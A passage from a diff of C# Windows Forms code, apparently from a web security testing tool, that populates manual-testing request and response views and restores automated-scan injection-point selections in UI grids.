//UI.ProxyRequestHeadersIDV.ReadOnly = true; + //UI.ProxyRequestBodyIDV.ReadOnly = true; + //UI.ProxyRequestParametersQueryGrid.Columns[1].ReadOnly = true; + //UI.ProxyRequestParametersBodyGrid.Columns[1].ReadOnly = true; + //UI.ProxyRequestParametersCookieGrid.Columns[1].ReadOnly = true; + //UI.ProxyRequestParametersHeadersGrid.Columns[1].ReadOnly = true; + //UI.ProxyRequestFormatXMLTB.ReadOnly = true; + } + internal static void MakeProxyResponseFieldsReadOnly(bool ReadOnly) + { + UI.ProxyResponseView.SetReadOnly(ReadOnly); + //UI.ProxyResponseHeadersIDV.ReadOnly = true; + //UI.ProxyResponseBodyIDV.ReadOnly = true; + //UI.ProxyResponseFormatXMLTB.ReadOnly = true; + } + + internal static void FillMTFields(Session IrSe) + { + IronUI.FillMTFields(IrSe.Request); + ManualTesting.SetCurrentID(IrSe.Request.ID); + if (IrSe.Response != null) IronUI.FillMTFields(IrSe.Response, IrSe.Request); + UI.TestIDLbl.Text = "ID: " + IrSe.Request.ID.ToString(); + string Group = IrSe.Flags["Group"].ToString(); + UI.MTCurrentGroupNameTB.Text = Group; + foreach (DataGridViewRow Row in UI.TestGroupLogGrid.Rows) + { + if (Row.Cells[1].Value.ToString().Equals(IrSe.Request.ID.ToString())) + { + Row.Selected = true; + try + { + UI.TestGroupLogGrid.FirstDisplayedScrollingRowIndex = Row.Index; + } + catch { } + break; + } + } + //switch (GroupColor) + //{ + // case("Red"): + // UI.TestIDLbl.BackColor = Color.Red; + // break; + // case ("Blue"): + // UI.TestIDLbl.BackColor = Color.RoyalBlue; + // break; + // case ("Green"): + // UI.TestIDLbl.BackColor = Color.Green; + // break; + // case ("Gray"): + // UI.TestIDLbl.BackColor = Color.Gray; + // break; + // case ("Brown"): + // UI.TestIDLbl.BackColor = Color.Brown; + // break; + //} + } + + internal static void FillMTFields(Request Request) + { + //FillMTRequestHeaderFields(Request); + //if (Request.HasBody) + //{ + // FillMTRequestBodyFields(Request); + //} + //FillMTParametersFields(Request); + //UI.MTRequestParametersQueryGrid.Columns[1].ReadOnly = false; + //UI.MTRequestParametersBodyGrid.Columns[1].ReadOnly = false; + //UI.MTRequestParametersCookieGrid.Columns[1].ReadOnly = false; + //UI.MTRequestParametersHeadersGrid.Columns[1].ReadOnly = false; + UI.TestRequestView.SetRequest(Request); + ManualTesting.ResetChangedStatus(); + ManualTesting.CurrentRequest = Request; + } + + //internal static void FillMTRequestHeaderFields(Request Request) + //{ + // UI.MTRequestHeadersIDV.Text = Request.GetHeadersAsStringWithoutFullURL(); + // UI.MTIsSSLCB.Checked = Request.SSL; + //} + + //internal static void FillMTRequestBodyFields(Request Request) + //{ + // if (Request.IsBinary) + // { + // UI.MTRequestBodyIDV.Text = Encoding.UTF8.GetString(Request.BodyArray); + // UI.MTRequestBodyIDV.ReadOnly = true; + // } + // else + // { + // UI.MTRequestBodyIDV.Text = Request.BodyString; + // } + //} + + //internal static void FillMTParametersFields(Request Request) + //{ + // UI.MTRequestParametersQueryGrid.Rows.Clear(); + // foreach (string Name in Request.Query.GetNames()) + // { + // foreach (string Value in Request.Query.GetAll(Name)) + // { + // UI.MTRequestParametersQueryGrid.Rows.Add(new object[] { Name, Value }); + // } + // } + // UI.MTRequestParametersBodyGrid.Rows.Clear(); + // foreach (string Name in Request.Body.GetNames()) + // { + // foreach (string Value in Request.Body.GetAll(Name)) + // { + // UI.MTRequestParametersBodyGrid.Rows.Add(new object[] { Name, Value }); + // } + // } + // UI.MTRequestParametersCookieGrid.Rows.Clear(); + // foreach (string Name in Request.Cookie.GetNames()) + // { + // foreach (string Value in Request.Cookie.GetAll(Name)) + // { + // UI.MTRequestParametersCookieGrid.Rows.Add(new object[] { Name, Value }); + // } + // } + // UI.MTRequestParametersHeadersGrid.Rows.Clear(); + // foreach (string Name in Request.Headers.GetNames()) + // { + // if (!Name.Equals("Host", StringComparison.OrdinalIgnoreCase) && !Name.Equals("Cookie", StringComparison.OrdinalIgnoreCase)) + // { + // foreach (string Value in Request.Headers.GetAll(Name)) + // { + // UI.MTRequestParametersHeadersGrid.Rows.Add(new object[] { Name, Value }); + // } + // } + // } + //} + + //internal static void UpdateMTHeaderFieldsWithUIQueryParameters() + //{ + // if (ManualTesting.CurrentRequest == null) return; + // ManualTesting.CurrentRequest.Query.RemoveAll(); + // foreach (DataGridViewRow Row in UI.MTRequestParametersQueryGrid.Rows) + // { + // ManualTesting.CurrentRequest.Query.Add(Row.Cells[0].Value.ToString(), Row.Cells[1].Value.ToString()); + // } + // FillMTRequestHeaderFields(ManualTesting.CurrentRequest); + //} + //internal static void UpdateMTBodyFieldsWithUIBodyParameters() + //{ + // if (ManualTesting.CurrentRequest == null) return; + // ManualTesting.CurrentRequest.Body.RemoveAll(); + // foreach (DataGridViewRow Row in UI.MTRequestParametersBodyGrid.Rows) + // { + // ManualTesting.CurrentRequest.Body.Add(Row.Cells[0].Value.ToString(), Row.Cells[1].Value.ToString()); + // } + // FillMTRequestBodyFields(ManualTesting.CurrentRequest); + //} + //internal static void UpdateMTHeaderFieldsWithUICookieParameters() + //{ + // if (ManualTesting.CurrentRequest == null) return; + // ManualTesting.CurrentRequest.Cookie.RemoveAll(); + // foreach (DataGridViewRow Row in UI.MTRequestParametersCookieGrid.Rows) + // { + // ManualTesting.CurrentRequest.Cookie.Add(Row.Cells[0].Value.ToString(), Row.Cells[1].Value.ToString()); + // } + // FillMTRequestHeaderFields(ManualTesting.CurrentRequest); + //} + //internal static void UpdateMTHeaderFieldsWithUIHeadersParameters() + //{ + // if (ManualTesting.CurrentRequest == null) return; + // Parameters TempHolder = new Parameters(); + // if (ManualTesting.CurrentRequest.Headers.Has("Host")) + // { + // TempHolder.Set("Host", ManualTesting.CurrentRequest.Headers.Get("Host")); + // } + // if (ManualTesting.CurrentRequest.Headers.Has("Cookie")) + // { + // TempHolder.Set("Cookie", ManualTesting.CurrentRequest.Headers.Get("Cookie")); + // } + // ManualTesting.CurrentRequest.Headers.RemoveAll(); + // foreach (DataGridViewRow Row in UI.MTRequestParametersHeadersGrid.Rows) + // { + // ManualTesting.CurrentRequest.Headers.Add(Row.Cells[0].Value.ToString(), Row.Cells[1].Value.ToString()); + // } + // foreach (string Name in TempHolder.GetNames()) + // { + // ManualTesting.CurrentRequest.Headers.Set(Name, TempHolder.Get(Name)); + // } + // FillMTRequestHeaderFields(ManualTesting.CurrentRequest); + //} + + //internal static void HandleAnyChangesInMTRequest() + //{ + // if (ManualTesting.RequestHeaderChanged) + // { + // ManualTesting.UpdateCurrentRequestWithNewHeader(UI.MTRequestHeadersIDV.Text); + // if (ManualTesting.CurrentRequest == null) return; + // IronUI.FillMTParametersFields(ManualTesting.CurrentRequest); + // if (ManualTesting.RequestBodyChanged) + // { + // ManualTesting.RequestHeaderChanged = false; + // } + // else + // { + // ManualTesting.ResetNonParameterChangedStatus(); + // } + // ManualTesting.ResetParametersChangedStatus(); + // } + // if (ManualTesting.RequestBodyChanged) + // { + // ManualTesting.UpdateCurrentRequestWithNewBodyText(UI.MTRequestBodyIDV.Text); + // if (ManualTesting.CurrentRequest == null) return; + // IronUI.FillMTParametersFields(ManualTesting.CurrentRequest); + // ManualTesting.ResetNonParameterChangedStatus(); + // ManualTesting.ResetParametersChangedStatus(); + // } + // if (ManualTesting.CurrentRequest == null) return; + // if (ManualTesting.RequestQueryParametersChanged) + // { + // UpdateMTHeaderFieldsWithUIQueryParameters(); + // ManualTesting.ResetNonParameterChangedStatus(); + // ManualTesting.ResetParametersChangedStatus(); + // } + // if (ManualTesting.RequestBodyParametersChanged) + // { + // UpdateMTBodyFieldsWithUIBodyParameters(); + // ManualTesting.ResetNonParameterChangedStatus(); + // ManualTesting.ResetParametersChangedStatus(); + // } + // if (ManualTesting.RequestCookieParametersChanged) + // { + // UpdateMTHeaderFieldsWithUICookieParameters(); + // ManualTesting.ResetNonParameterChangedStatus(); + // ManualTesting.ResetParametersChangedStatus(); + // } + // if (ManualTesting.RequestHeaderParametersChanged) + // { + // UpdateMTHeaderFieldsWithUIHeadersParameters(); + // ManualTesting.ResetNonParameterChangedStatus(); + // ManualTesting.ResetParametersChangedStatus(); + // } + //} + + internal static void FillMTFields(Response Res, Request Req) + { + //UI.MTResponseHeadersIDV.Text = Response.GetHeadersAsString(); + //if (Response.HasBody) + //{ + // if (Response.IsBinary) + // { + // UI.MTResponseBodyIDV.Text = Encoding.UTF8.GetString(Response.BodyArray); + // UI.MTResponseBodyIDV.ReadOnly = true; + // } + // else + // { + // UI.MTResponseBodyIDV.Text = Response.BodyString; + // } + //} + UI.TestResponseView.SetResponse(Res, Req); + try + { + Request RedirectRequest = ManualTesting.GetRedirectRequestOnly(); + if (RedirectRequest == null) + { + UI.MTFollowRedirectBtn.Visible = false; + UI.MTGetRedirectBtn.Visible = false; + } + else + { + UI.MTFollowRedirectBtn.Visible = true; + UI.MTGetRedirectBtn.Visible = true; + } + } + catch { } + if (Res.SetCookies.Count > 0) + { + UI.TestUpdateCookieStoreLL.Visible = true; + } + else + { + UI.TestUpdateCookieStoreLL.Visible = false; + } + } + + + internal static void ResetMTDisplayFields() + { + ResetMTRequestDisplayFields(); + ResetMTResponseDisplayFields(); + ResetMTExceptionFields(); + } + + internal static void ResetMTRequestDisplayFields() + { + UI.TestRequestView.ClearRequest(); + // UI.MTRequestHeadersIDV.Text = ""; + // UI.MTRequestBodyIDV.Text = ""; + // UI.MTRequestParametersQueryGrid.Rows.Clear(); + // UI.MTRequestParametersBodyGrid.Rows.Clear(); + // UI.MTRequestParametersCookieGrid.Rows.Clear(); + // UI.MTRequestParametersHeadersGrid.Rows.Clear(); + // UI.MTRequestHeadersIDV.ReadOnly = false; + // UI.MTRequestBodyIDV.ReadOnly = false; + // UI.MTRequestFormatXMLTB.Text = ""; + // UI.MTRequestFormatXMLTB.ReadOnly = true; + } + + internal static void ResetMTResponseDisplayFields() + { + //UI.MTResponseHeadersIDV.Text = ""; + //UI.MTResponseBodyIDV.Text = ""; + //FillTestReflection(""); + UI.TestResponseView.ClearResponse(); + UI.MTFollowRedirectBtn.Visible = false; + UI.MTGetRedirectBtn.Visible = false; + } + + internal static void ResetMTExceptionFields() + { + UI.MTExceptionTB.Text = ""; + UI.MTExceptionTB.Visible = false; + } + + internal static void ResetScriptedSendScriptExceptionFields() + { + UI.CustomSendErrorTB.Text = ""; + UI.CustomSendErrorTB.Visible = false; + UI.CustomSendActivateCB.Checked = false; + } + + internal static void ResetScriptedInterceptionScriptExceptionFields() + { + UI.ScriptedInterceptionErrorTB.Text = ""; + UI.ScriptedInterceptionErrorTB.Visible = false; + UI.ScriptedInterceptionActivateScriptCB.Checked = false; + } + + //delegate void FillMTRequestFormatXML_d(string XML); + //internal static void FillMTRequestFormatXML(string XML) + //{ + // if (UI.MTRequestFormatXMLTB.InvokeRequired) + // { + // FillMTRequestFormatXML_d FMTRFX_d = new FillMTRequestFormatXML_d(FillMTRequestFormatXML); + // UI.Invoke(FMTRFX_d, new object[] { XML }); + // } + // else + // { + // UI.MTRequestFormatXMLTB.Text = XML; + // UI.MTRequestFormatXMLTB.ReadOnly = false; + // } + //} + + //delegate void FillMTRequestWithNewRequestFromFormatXML_d(Request Request, string PluginName); + //internal static void FillMTRequestWithNewRequestFromFormatXML(Request Request, string PluginName) + //{ + // if (UI.MTRequestFormatXMLTB.InvokeRequired) + // { + // FillMTRequestWithNewRequestFromFormatXML_d FMTRWNRFFX_d = new FillMTRequestWithNewRequestFromFormatXML_d(FillMTRequestWithNewRequestFromFormatXML); + // UI.Invoke(FMTRWNRFFX_d, new object[] { Request, PluginName }); + // } + // else + // { + // try + // { + // ResetMTRequestDisplayFields(); + // FillMTFields(Request); + // } + // catch(Exception Exp) + // { + // IronException.Report("Error displaying Updated 'Manual Testing' Request from Serializing XML using Format Plugin - " + PluginName, Exp.Message, Exp.StackTrace); + // IronUI.ShowMTException("Error displaying updated Request"); + // } + // } + //} + + delegate void ShowMTException_d(string Message); + internal static void ShowMTException(string Message) + { + if (UI.MTExceptionTB.InvokeRequired) + { + ShowMTException_d SMTE_d = new ShowMTException_d(ShowMTException); + UI.Invoke(SMTE_d, new object[] { Message }); + } + else + { + UI.MTExceptionTB.Text = Message; + UI.MTExceptionTB.Visible = true; + } + } + + delegate void ShowScriptedSendScriptException_d(string Message); + internal static void ShowScriptedSendScriptException(string Message) + { + if (UI.CustomSendErrorTB.InvokeRequired) + { + ShowScriptedSendScriptException_d SSSSE_d = new ShowScriptedSendScriptException_d(ShowScriptedSendScriptException); + UI.Invoke(SSSSE_d, new object[] { Message }); + } + else + { + UI.CustomSendErrorTB.Text = "Exception:\r\n" + Message; + UI.CustomSendErrorTB.Visible = true; + UI.CustomSendActivateCB.Checked = false; + } + } + + delegate void ShowScriptedInterceptionScriptException_d(string Message); + internal static void ShowScriptedInterceptionScriptException(string Message) + { + if (UI.CustomSendErrorTB.InvokeRequired) + { + ShowScriptedInterceptionScriptException_d SSISE_d = new ShowScriptedInterceptionScriptException_d(ShowScriptedSendScriptException); + UI.Invoke(SSISE_d, new object[] { Message }); + } + else + { + UI.ScriptedInterceptionErrorTB.Text = "Exception:\r\n" + Message; + UI.ScriptedInterceptionErrorTB.Visible = true; + UI.ScriptedInterceptionActivateScriptCB.Checked = false; + } + } + + delegate void SetAutomatedScanningScanner_d(Scanner ScannerToSet, string XML, string[,] XmlInjectionPoints); + internal static void SetAutomatedScanningScanner(Scanner ScannerToSet, string XML, string[,] XmlInjectionPoints) + { + if (UI.ASRequestTabs.InvokeRequired) + { + SetAutomatedScanningScanner_d SASS_d = new SetAutomatedScanningScanner_d(SetAutomatedScanningScanner); + UI.Invoke(SASS_d, new object[] { ScannerToSet, XML, XmlInjectionPoints }); + } + else + { + try + { + Scanner.CurrentScanner = ScannerToSet; + Scanner.CurrentScanID = ScannerToSet.ID; + IronUI.FillConfigureScanFullFields(ScannerToSet.OriginalRequest); + UI.ASRequestTabs.SelectTab(0); + IronUI.UpdateScanTabsWithRequestData(); + //if (ScannerToSet.BodyFormat.Name.Length > 0 && XmlInjectionPoints.Length > 0 && ScannerToSet.Status.Equals("Not Started")) + // IronUI.FillConfigureScanFormatDetails(XML, XmlInjectionPoints, new List(), false, ScannerToSet.BodyFormat.Name); + UI.ScanIDLbl.Text = string.Format("Scan ID: {0}", ScannerToSet.ID); + UI.ScanStatusLbl.Text = string.Format("Scan Status: {0}", ScannerToSet.Status); + Scanner.ResetChangedStatus(); + UI.ScanTopPanel.Visible = false; + UI.ScanJobsBaseSplit.SplitterDistance = 350; + UI.ScanDisplayPanel.Visible = true; + } + catch (Exception Exp) + { + IronException.Report("Unable to display Request in 'Automated Scanning' section", Exp.Message, Exp.StackTrace); + IronUI.ShowConfigureScanException("Unable to display request"); + return; + } + + if (UI.ASScanPluginsGrid.Rows.Count > 0) + { + UI.ASScanPluginsGrid.Rows[0].Cells[0].Value = false; + foreach (DataGridViewRow Row in UI.ASScanPluginsGrid.Rows) + { + if (Row.Index > 0) + { + Row.Cells[0].Value = ScannerToSet.ShowChecks().Contains(Row.Cells[1].Value.ToString()); + } + } + if (UI.ASScanPluginsGrid.Rows.Count > 1) + { + bool AllSelected = true; + for (int i = 1; i < UI.ASScanPluginsGrid.Rows.Count; i++) + { + if (!(bool)UI.ASScanPluginsGrid.Rows[i].Cells[0].Value) + { + AllSelected = false; + break; + } + } + if (AllSelected) UI.ASScanPluginsGrid.Rows[0].Cells[0].Value = true; + } + } + + if (ScannerToSet.SessionHandler.Name.Length > 0) + UI.SessionPluginLbl.Text = string.Format("Selection Plugin: {0}", ScannerToSet.SessionHandler.Name); + else + UI.SessionPluginLbl.Text = "Selection Plugin: -"; + + //UI.ASSessionPluginsCombo.Items.Add(""); + //int SelectedSessionPluginID = -1; + //bool SelectedSessionPluginFound = false; + //foreach (string Name in SessionPlugin.List()) + //{ + // int ItemID = UI.ASSessionPluginsCombo.Items.Add(Name); + // if (!SelectedSessionPluginFound) + // { + // if (ScannerToSet.SessionHandler.Name.Equals(Name)) + // { + // SelectedSessionPluginID = ItemID; + // SelectedSessionPluginFound = true; + // } + // } + //} + + //if (SelectedSessionPluginID >= 0) UI.ASSessionPluginsCombo.SelectedIndex = SelectedSessionPluginID; + try + { + FillInjectionsPointsinUI(ScannerToSet); + } + catch (Exception Exp) + { + IronException.Report("Error restoring 'Automated Scan' configuration information from DB", Exp.Message, Exp.StackTrace); + IronUI.ShowConfigureScanException("Error retriving scan information"); + } + + string ScanStatus = ScannerToSet.Status; + if (ScanStatus.Equals("Completed")) + { + UI.ASStartScanBtn.Text = "Scan Again"; + } + else if (ScanStatus.Equals("Running")) + { + UI.ASStartScanBtn.Text = "Stop Scan"; + } + else if (ScanStatus.Equals("Not Started") || ScanStatus.Equals("Incomplete") || ScanStatus.Equals("Aborted") || ScanStatus.Equals("Stopped")) + { + UI.ASStartScanBtn.Text = "Start Scan"; + } + if (!UI.ASBaseTabs.SelectedTab.Name.Equals("ASRequestTab")) + UI.ASBaseTabs.SelectTab("ASRequestTab"); + UI.ASStartScanBtn.Enabled = true; + } + } + + static void FillInjectionsPointsinUI(Scanner Scanner) + { + bool AllUrl = UI.ASRequestScanURLGrid.Rows.Count > 0; + foreach (DataGridViewRow Row in UI.ASRequestScanURLGrid.Rows) + { + bool Result = Scanner.URLInjections.Contains(Row.Index); + if (AllUrl) + { + AllUrl = Result; + } + Row.Cells[0].Value = Result; + } + + int SubParameterIndex = 0; + string LastParameterName = ""; + + bool AllQuery = UI.ASRequestScanQueryGrid.Rows.Count > 0; + foreach (DataGridViewRow Row in UI.ASRequestScanQueryGrid.Rows) + { + string Name = Row.Cells[1].Value.ToString(); + if (Name.Equals(LastParameterName)) + { + SubParameterIndex++; + } + else + { + SubParameterIndex = 0; + } + bool Result = Scanner.QueryInjections.Has(Name) && Scanner.QueryInjections.GetAll(Name).Contains(SubParameterIndex); + if (AllQuery) + { + AllQuery = Result; + } + Row.Cells[0].Value = Result; + LastParameterName = Name; + } + + SubParameterIndex = 0; + LastParameterName = ""; + + bool AllBody = UI.ConfigureScanRequestBodyTypeFormatPluginGrid.Rows.Count > 0; + if (Scanner.BodyFormat.Name.Length > 0) + { + foreach (DataGridViewRow Row in UI.ConfigureScanRequestBodyTypeFormatPluginGrid.Rows) + { + bool Result = Scanner.BodyXmlInjections.Contains(Row.Index); + if (AllBody) + { + AllBody = Result; + } + Row.Cells[0].Value = Result; + } + } + else if (Scanner.CustomInjectionPointStartMarker.Length > 0 && Scanner.CustomInjectionPointEndMarker.Length > 0) + { + AllBody = true; + } + else + { + foreach (DataGridViewRow Row in UI.ASRequestScanBodyTypeNormalGrid.Rows) + { + string Name = Row.Cells[1].Value.ToString(); + if (Name.Equals(LastParameterName)) + { + SubParameterIndex++; + } + else + { + SubParameterIndex = 0; + } + bool Result = Scanner.BodyInjections.Has(Name) && Scanner.BodyInjections.GetAll(Name).Contains(SubParameterIndex); + if (AllBody) + { + AllBody = Result; + } + Row.Cells[0].Value = Result; + LastParameterName = Name; + } + } + + SubParameterIndex = 0; + LastParameterName = ""; + + bool AllCookie = UI.ASRequestScanCookieGrid.Rows.Count > 0; + foreach (DataGridViewRow Row in UI.ASRequestScanCookieGrid.Rows) + { + string Name = Row.Cells[1].Value.ToString(); + if (Name.Equals(LastParameterName)) + { + SubParameterIndex++; + } + else + { + SubParameterIndex = 0; + } + bool Result = Scanner.CookieInjections.Has(Name) && Scanner.CookieInjections.GetAll(Name).Contains(SubParameterIndex); + if (AllCookie) + { + AllCookie = Result; + } + Row.Cells[0].Value = Result; + LastParameterName = Name; + } + + SubParameterIndex = 0; + LastParameterName = ""; + + bool AllHeaders = UI.ASRequestScanHeadersGrid.Rows.Count > 0; + foreach (DataGridViewRow Row in UI.ASRequestScanHeadersGrid.Rows) + { + string Name = Row.Cells[1].Value.ToString(); + if (Name.Equals(LastParameterName)) + { + SubParameterIndex++; + } + else + { + SubParameterIndex = 0; + } + bool Result = Scanner.HeadersInjections.Has(Name) && Scanner.HeadersInjections.GetAll(Name).Contains(SubParameterIndex); + if (AllHeaders) + { + AllHeaders = Result; + } + Row.Cells[0].Value = Result; + LastParameterName = Name; + } + + bool AllNames = false; + UI.ASRequestScanQueryParameterNameCB.Checked = Scanner.ParameterNameInjections.Has("Query"); + UI.ASRequestScanBodyParameterNameCB.Checked = Scanner.ParameterNameInjections.Has("Body"); + UI.ASRequestScanCookieParameterNameCB.Checked = Scanner.ParameterNameInjections.Has("Cookie"); + UI.ASRequestScanHeadersParameterNameCB.Checked = Scanner.ParameterNameInjections.Has("Headers"); + + if (UI.ASRequestScanQueryParameterNameCB.Checked && UI.ASRequestScanBodyParameterNameCB.Checked && UI.ASRequestScanCookieParameterNameCB.Checked && UI.ASRequestScanHeadersParameterNameCB.Checked) + { + AllNames = true; + } + + UI.ASRequestScanAllCB.Checked = AllUrl && AllQuery && AllBody && AllCookie && AllHeaders; + UI.ASRequestScanURLCB.Checked = AllUrl; + UI.ASRequestScanQueryCB.Checked = AllQuery; + UI.ASRequestScanBodyCB.Checked = AllBody; + UI.ASRequestScanCookieCB.Checked = AllCookie; + UI.ASRequestScanHeadersCB.Checked = AllHeaders; + UI.ASRequestScanParameterNamesCB.Checked = AllNames; + } + + internal static void FillConfigureScanFullFields(Request Request) + { + UI.ConfigureScanRequestSSLCB.Checked = Request.SSL; + UI.ASRequestRawHeadersIDV.Text = Request.GetHeadersAsStringWithoutFullURL();// .GetHeadersAsString(); + UI.ASRequestRawHeadersIDV.ReadOnly = false; + if (Request.HasBody) + { + if (Request.IsBinary) + { + UI.ASRequestRawBodyIDV.Text = Encoding.UTF8.GetString(Request.BodyArray); + UI.ASRequestRawBodyIDV.ReadOnly = true; + } + else + { + UI.ASRequestRawBodyIDV.Text = Request.BodyString; + UI.ASRequestRawBodyIDV.ReadOnly = false; + } + } + else + { + UI.ASRequestRawBodyIDV.Text = ""; + UI.ASRequestRawBodyIDV.ReadOnly = false; + } + } + + delegate void ShowConfigureScanException_d(string Message); + internal static void ShowConfigureScanException(string Message) + { + if (UI.ASExceptionTB.InvokeRequired) + { + ShowConfigureScanException_d SCSE_d = new ShowConfigureScanException_d(ShowConfigureScanException); + UI.Invoke(SCSE_d, new object[] { Message }); + } + else + { + UI.ASExceptionTB.Text = Message; + UI.ASExceptionTB.Visible = true; + } + } + + internal static void ResetConfigureScanException() + { + UI.ASExceptionTB.Text = ""; + UI.ASExceptionTB.Visible = false; + } + + + + //internal static void HandleAnyChangesInConfigureScanRequest() + //{ + // if(Scanner.CurrentScanner != null) + // if (Scanner.CurrentScanner.OriginalRequest != null) Scanner.CurrentScanner.OriginalRequest.SSL = UI.ConfigureScanRequestSSLCB.Checked; + + // if (Scanner.RequestHeadersChanged) + // { + // if (Scanner.CurrentScanner == null) + // { + // if (UI.ASStartScanBtn.Text.Equals("Scan")) + // { + // try + // { + // Scanner.CurrentScanner = new Scanner(new Request(UI.ASRequestRawHeadersIDV.Text.TrimEnd() + "\r\n\r\n", UI.ConfigureScanRequestSSLCB.Checked, false)); + // UpdateScanTabsWithRequestData(); + // Scanner.RequestHeadersChanged = false; + // } + // catch (Exception Exp) + // { + // IronUI.ShowConfigureScanException(Exp.Message); + // } + // } + // } + // else + // { + // Scanner.CurrentScanner.ReloadRequestFromHeaderString(UI.ASRequestRawHeadersIDV.Text); + // UpdateScanTabsWithRequestData(); + // Scanner.RequestHeadersChanged = false; + // } + // } + // if (Scanner.RequestBodyChanged) + // { + // if (Scanner.CurrentScanner != null) + // { + // Scanner.CurrentScanner.OriginalRequest.BodyString = UI.ASRequestRawBodyIDV.Text; + // Scanner.RequestBodyChanged = false; + // if (UI.ASBodyTypeCustomRB.Checked) + // { + // DetectAndHighLightCustomInjectionPoints(); + // } + // else if (UI.ASBodyTypeFormatPluginRB.Checked) + // { + // Scanner.CurrentScanner.BodyFormat = new FormatPlugin(); + // UpdateScanBodyTabWithXmlArray(); + // } + // else + // { + // UpdateScanBodyTabWithDataInDefaultFormat(); + // } + // } + // } + //} + + internal static void UpdateScanTabsWithRequestData() + { + UI.ASRequestScanURLGrid.Rows.Clear(); + List URLParts = Scanner.CurrentScanner.OriginalRequest.UrlPathParts; + for (int i = 0; i < URLParts.Count; i++) + { + UI.ASRequestScanURLGrid.Rows.Add(new object[] { false, i + 1, URLParts[i] }); + } + UI.ASRequestScanQueryGrid.Rows.Clear(); + foreach (string Name in Scanner.CurrentScanner.OriginalRequest.Query.GetNames()) + { + foreach (string Value in Scanner.CurrentScanner.OriginalRequest.Query.GetAll(Name)) + { + UI.ASRequestScanQueryGrid.Rows.Add(new object[] { false, Name, Value }); + } + } + + if (Scanner.CurrentScanner.CustomInjectionPointStartMarker.Length > 0 && Scanner.CurrentScanner.CustomInjectionPointEndMarker.Length > 0) + { + UpdateScanBodyTabWithCustomInjectionMarkers(); + } + else if (Scanner.CurrentScanner.BodyFormat.Name.Length > 0) + { + UpdateScanBodyTabWithXmlArray(); + } + else + { + UpdateScanBodyTabWithDataInDefaultFormat(); + } + + UI.ASRequestScanCookieGrid.Rows.Clear(); + foreach (string Name in Scanner.CurrentScanner.OriginalRequest.Cookie.GetNames()) + { + foreach (string Value in Scanner.CurrentScanner.OriginalRequest.Cookie.GetAll(Name)) + { + UI.ASRequestScanCookieGrid.Rows.Add(new object[] { false, Name, Value }); + } + } + UI.ASRequestScanHeadersGrid.Rows.Clear(); + foreach (string Name in Scanner.CurrentScanner.OriginalRequest.Headers.GetNames()) + { + if (!(Name.Equals("Cookie", StringComparison.InvariantCultureIgnoreCase) || Name.Equals("Host", StringComparison.InvariantCultureIgnoreCase) || Name.Equals("Content-Length", StringComparison.InvariantCultureIgnoreCase))) + { + foreach (string Value in Scanner.CurrentScanner.OriginalRequest.Headers.GetAll(Name)) + { + UI.ASRequestScanHeadersGrid.Rows.Add(new object[] { false, Name, Value }); + } + } + } + } + + delegate void UpdateScanBodyTabWithDataInDefaultFormat_d(); + internal static void UpdateScanBodyTabWithDataInDefaultFormat() + { + if (UI.ConfigureScanRequestBodyTypeFormatPluginGrid.InvokeRequired) + { + UpdateScanBodyTabWithDataInDefaultFormat_d USBTWDF_d = new UpdateScanBodyTabWithDataInDefaultFormat_d(UpdateScanBodyTabWithDataInDefaultFormat); + UI.Invoke(USBTWDF_d, new object[] { }); + } + else + { + UI.ASRequestScanAllCB.Checked = false; + UI.ASRequestScanBodyCB.Checked = false; + + if (Scanner.CurrentScanner == null) return; + if (Scanner.CurrentScanner.OriginalRequest == null) return; + + Scanner.CurrentScanner.BodyFormat = new FormatPlugin(); + Scanner.CurrentScanner.CustomInjectionPointStartMarker = ""; + Scanner.CurrentScanner.CustomInjectionPointEndMarker = ""; + + Scanner.CurrentScannerBodyFormatTabIndex = 0; + if (!UI.ASBodyInjectTypeTabs.SelectedTab.Name.Equals("ASBodyTypeNormalTab")) UI.ASBodyInjectTypeTabs.SelectTab("ASBodyTypeNormalTab"); + + UI.ASRequestScanBodyTypeNormalGrid.Rows.Clear(); + foreach (string Name in Scanner.CurrentScanner.OriginalRequest.Body.GetNames()) + { + foreach (string Value in Scanner.CurrentScanner.OriginalRequest.Body.GetAll(Name)) + { + UI.ASRequestScanBodyTypeNormalGrid.Rows.Add(new object[] { false, Name, Value }); + } + } + } + } + + delegate void UpdateScanBodyTabWithXmlArray_d(); + internal static void UpdateScanBodyTabWithXmlArray() + { + if (UI.ConfigureScanRequestBodyTypeFormatPluginGrid.InvokeRequired) + { + UpdateScanBodyTabWithXmlArray_d USBTWXA_d = new UpdateScanBodyTabWithXmlArray_d(UpdateScanBodyTabWithXmlArray); + UI.Invoke(USBTWXA_d, new object[] { }); + } + else + { + UI.ASRequestScanAllCB.Checked = false; + UI.ASRequestScanBodyCB.Checked = false; + + if (Scanner.CurrentScanner == null) return; + if (Scanner.CurrentScanner.OriginalRequest == null) return; + + Scanner.CurrentScannerBodyFormatTabIndex = 1; + if (!UI.ASBodyInjectTypeTabs.SelectedTab.Name.Equals("ASBodyTypeFormatPluginTab")) UI.ASBodyInjectTypeTabs.SelectTab("ASBodyTypeFormatPluginTab"); + + foreach (DataGridViewRow Row in UI.ConfigureScanRequestFormatPluginsGrid.Rows) + { + if (Row.Cells[1].Value.ToString().Equals(Scanner.CurrentScanner.BodyFormat.Name)) + Row.Cells[0].Value = true; + else + Row.Cells[0].Value = false; + } + + UI.ConfigureScanRequestBodyTypeFormatPluginGrid.Rows.Clear(); + UI.ConfigureScanRequestFormatXMLTB.Text = ""; + + foreach (string Name in Scanner.CurrentScanner.BodyXmlInjectionParameters.GetNames()) + { + UI.ConfigureScanRequestBodyTypeFormatPluginGrid.Rows.Add(new object[] { false, Name, Scanner.CurrentScanner.BodyXmlInjectionParameters.Get(Name) }); + } + } + } + + internal static void UpdateScanBodyTabWithCustomInjectionMarkers() + { + UI.ASRequestScanAllCB.Checked = false; + UI.ASRequestScanBodyCB.Checked = false; + + if (Scanner.CurrentScanner == null) return; + if (Scanner.CurrentScanner.OriginalRequest == null) return; + + Scanner.CurrentScannerBodyFormatTabIndex = 2; + if (!UI.ASBodyInjectTypeTabs.SelectedTab.Name.Equals("ASBodyTypeCustomTab")) UI.ASBodyInjectTypeTabs.SelectTab("ASBodyTypeCustomTab"); + + if (Scanner.CurrentScanner.CustomInjectionPointStartMarker.Length > 0) + UI.ASCustomStartMarkerTB.Text = Scanner.CurrentScanner.CustomInjectionPointStartMarker; + else + UI.ASCustomStartMarkerTB.Text = Scanner.DefaultStartMarker; + + if (Scanner.CurrentScanner.CustomInjectionPointEndMarker.Length > 0) + UI.ASCustomEndMarkerTB.Text = Scanner.CurrentScanner.CustomInjectionPointEndMarker; + else + 